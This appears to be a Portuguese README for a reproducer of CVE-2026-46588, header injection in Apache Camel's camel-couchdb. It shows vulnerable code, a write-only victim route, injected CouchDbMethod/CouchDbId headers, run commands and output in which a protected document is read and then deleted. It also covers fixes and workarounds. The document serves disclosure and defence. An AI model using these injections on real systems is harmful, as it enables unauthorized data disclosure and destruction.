
Reprodutor para CVE-2026-46588: injeção de cabeçalho CouchDb* no Apache Camel camel-couchdb (confusão de operação) subvertendo um endpoint somente gravação em leitura + exclusão de documentos arbitrários (corrigido em 4.14.8/4.18.3/4.21.0)
CouchDb* do camel-couchdb (CVE-2026-46588)Este projeto demonstra uma injeção de cabeçalhos de mensagem no componente camel-couchdb do Apache Camel, registrada como CVE-2026-46588. O componente lê vários cabeçalhos do Exchange para controlar seu comportamento — CouchDbDatabase, CouchDbSeq, CouchDbId (id do documento), CouchDbRev (revisão do documento) e CouchDbMethod (o método da operação). Os valores de string dessas constantes de cabeçalho (definidas em CouchDbConstants) usam o prefixo CouchDb em vez do prefixo padrão usado por todos os outros componentes. A de entrada do Camel bloqueia apenas nomes de cabeçalho que começam com / , portanto esses nomes passam pelo filtro de entrada inalterados. Quando uma rota expõe um ponto de entrada HTTP (por exemplo, platform-http) na frente de um produtor couchdb, um cliente HTTP não confiável pode definir esses cabeçalhos diretamente e .
CamelHttpHeaderFilterStrategyCamelcamelEsta PoC demonstra o impacto como confusão de operação: um endpoint de ingestão de documentos somente escrita é transformado em leitura e depois exclusão de um documento arbitrário por meio da injeção de CouchDbMethod (e CouchDbId).
CouchDbMethod=GET + CouchDbId=<secret> → divulgação (lê um documento que o endpoint nunca expõe e vaza seu _rev).CouchDbMethod=DELETE (com o _rev vazado) → destruição (exclui esse documento).| Propriedade | Valor |
|---|---|
| Componente | camel-couchdb |
| Classe Afetada | org.apache.camel.component.couchdb.CouchDbProducer lendo CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), etc. |
| CWE | CWE-20: Validação de Entrada Incorreta |
| Impacto | Um cliente HTTP define cabeçalhos CouchDb* → sobrescreve a operação / documento → divulgação, exclusão, adulteração |
| Pré-condições | Uma rota expõe um produtor couchdb atrás de um consumidor HTTP (ex.: platform-http); não autenticado quando o consumidor é |
| Versões Afetadas | De 4.0.0 até antes de 4.14.8, de 4.15.0 até antes de 4.18.3, de 4.19.0 até antes de 4.21.0 |
| Versões Corrigidas | 4.14.8, 4.18.3, 4.21.0 |
| Correção | PR apache/camel#23228 (main), com backport via #23230 (4.18.x) / #23231 (4.14.x) |
| Crédito | Yu Bao (PayPal) |
Mesma família de injeção de cabeçalhos que CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 e CVE-2026-47323. A correção compartilha seu PR com o aviso irmão CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
A correção (4.14.8 / 4.18.3 / 4.21.0) renomeia os valores dos cabeçalhos para a convenção do Camel — CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq — de modo que sejam bloqueados pela HttpHeaderFilterStrategy de entrada como qualquer outro cabeçalho de controle do Camel. Os nomes dos campos constantes Java permanecem inalterados.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
A intenção do autor da rota é um endpoint de ingestão somente escrita — os clientes fazem POST de documentos para serem salvos, nada mais. Como endurecimento documentado, a rota remove o namespace de cabeçalhos de controle do Camel na borda. Isso não ajuda: o cabeçalho de operação se chama CouchDbMethod, não CamelCouchDbMethod, portanto não é removido nem por removeHeaders("Camel*") nem pelo filtro de cabeçalhos HTTP embutido — e o produtor alterna a operação com base nele.
A vítima é a rota de ingestão do Camel e seu banco de dados CouchDB; o atacante é um cliente HTTP não autenticado que apenas define cabeçalhos de requisição. Um pequeno harness REST insere e lê o documento secreto para verificação, de forma independente da rota vulnerável.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / secret document id + marker
│ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent)
│ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers
└── resources/
└── application.properties
Nota: o pom fixa
gson.version=2.13.2(a versão que acompanha o Camel). Caso contrário, o Spring Boot 3.2.0 fixaria a versão mais antiga gson 2.10.1, que não possuicom.google.gson.internal.GsonTypese faz o SDK Cloudant embutido lançarNoClassDefFoundErrorem tempo de execução.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
Qualquer rota com um produtor couchdb acessível a partir de um consumidor HTTP. Cabeçalhos injetáveis: CouchDbMethod (alterna salvar → obter / excluir), CouchDbId (documento alvo para obter) e o _id / _rev do corpo para excluir. O lado do consumidor adiciona CouchDbDatabase e CouchDbSeq.
Atualize para 4.14.8 / 4.18.3 / 4.21.0 (PR do aviso #23228). Após a correção, os cabeçalhos de controle passam a usar o prefixo Camel (CamelCouchDbMethod, CamelCouchDbId, …) e são filtrados na fronteira HTTP como qualquer outro cabeçalho de controle.
Até a atualização, remova os cabeçalhos afetados de mensagens de entrada não confiáveis antes que cheguem ao produtor, ex.: .removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"), .removeHeader("CouchDbSeq") e .removeHeader("CouchDbMethod") na frente do endpoint couchdb, ou aplique uma HeaderFilterStrategy personalizada que bloqueie esses nomes.
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.